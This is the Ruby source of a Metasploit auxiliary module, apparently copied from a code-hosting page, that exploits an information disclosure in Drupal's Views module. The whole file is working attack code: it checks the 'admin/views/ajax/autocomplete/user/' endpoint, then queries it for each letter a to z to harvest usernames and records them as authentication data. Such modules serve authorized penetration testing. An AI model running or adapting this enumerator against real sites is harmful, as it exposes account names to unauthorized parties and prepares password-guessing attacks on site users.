118 lines
2.8 KiB
Ruby
118 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::WmapScanServer
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Drupal Views Module Users Enumeration',
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'Description' => %q{
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This module exploits an information disclosure vulnerability in the 'Views'
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module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
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},
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'Author' =>
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[
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'Justin Klein Keane', #Original Discovery
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'Robin Francois <rof[at]navixia.com>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.madirish.net/node/465'],
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],
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'DisclosureDate' => 'Jul 2 2010'
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))
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register_options(
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[
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OptString.new('PATH', [true, "Drupal Path", "/"])
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], self.class)
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end
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def check(base_uri)
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res = send_request_cgi({
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'uri' => base_uri,
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'method' => 'GET',
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'headers' => { 'Connection' => 'Close' }
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}, 25)
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if not res
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return false
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elsif res.message != 'OK' or res.body != '[ ]'
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return false
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else
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return true
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end
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end
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def run_host(ip)
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# Make sure the URIPATH begins with '/'
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if datastore['PATH'][0] != '/'
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datastore['PATH'] = '/' + datastore['PATH']
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end
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# Make sure the URIPATH ends with /
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if datastore['PATH'][-1] != '/'
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datastore['PATH'] = datastore['PATH'] + '/'
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end
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enum_uri = datastore['PATH'] + "?q=admin/views/ajax/autocomplete/user/"
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# Check if remote host is available or appears vulnerable
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if not check(enum_uri)
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print_status("#{ip} does not appear to be vulnerable, will not continue")
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return
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end
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print_status("Begin enumerating users at #{ip}")
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results = []
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('a'..'z').each do |l|
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vprint_status("Iterating on letter: #{l}")
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res = send_request_cgi({
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'uri' => enum_uri+l,
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'method' => 'GET',
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'headers' => { 'Connection' => 'Close' }
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}, 25)
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if (res and res.message == "OK")
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user_list = res.body.scan(/\w+/)
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if user_list.empty?
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vprint_line("\tFound: Nothing")
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else
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vprint_line("\tFound: #{user_list.inspect}")
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results << user_list
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end
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else
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print_error("Unexpected results from server")
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return
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end
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end
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final_results = results.flatten.uniq
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print_status("Done. " + final_results.length.to_s + " usernames found...")
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final_results.each do |user|
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report_auth_info(
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:host => Rex::Socket.getaddress(datastore['RHOST']),
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:port => datastore['RPORT'],
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:user => user,
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:type => "drupal_user"
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)
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end
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end
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end
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